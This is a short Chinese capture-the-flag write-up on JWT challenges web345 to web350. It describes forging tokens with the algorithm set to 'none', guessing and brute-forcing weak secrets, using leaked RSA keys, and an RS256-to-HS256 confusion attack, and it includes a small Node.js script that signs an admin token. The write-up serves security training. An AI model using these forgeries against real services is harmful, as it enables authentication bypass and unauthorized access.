JWT(json web token)跨域认证解决方案,入门教程
web345
没加密,直接伪造,推荐网站:https://jwt.io/
web346
有加密,不能爆破,改算法为none,sub为admin即可
web347
弱口令,盲猜:123456
web348
C语言爆破工具
密匙:aaab
后面两题涉及nodejs,暂时放弃
web349
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');//私钥
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
给了公钥和私钥,那么加密方式应该就是RSA256
RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
访问 url/public.key
和 url/private.key
下载公钥私钥,将cookie里的 jwt 放到 jwt.io ,再将公钥私钥填进去,修改 user 为 admin 即可
WEB350
给了源码,只有公钥没有私钥,考虑改变算法:RS265(非对称加密)=> HS256(对称加密),同时使用题目环境生成 cookie,保证其版本一致
/*
* @Author: ying
* @Date: 2021-09-25 21:56:31
* @Last Modified by: ying
* @Last Modified time: 2021-09-25 21:57:35
*/
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('../public/public.key');
var token = jwt.sign({
user: 'admin' }, privateKey, {
algorithm: 'HS256' });
console.log(token)
记得改为 POST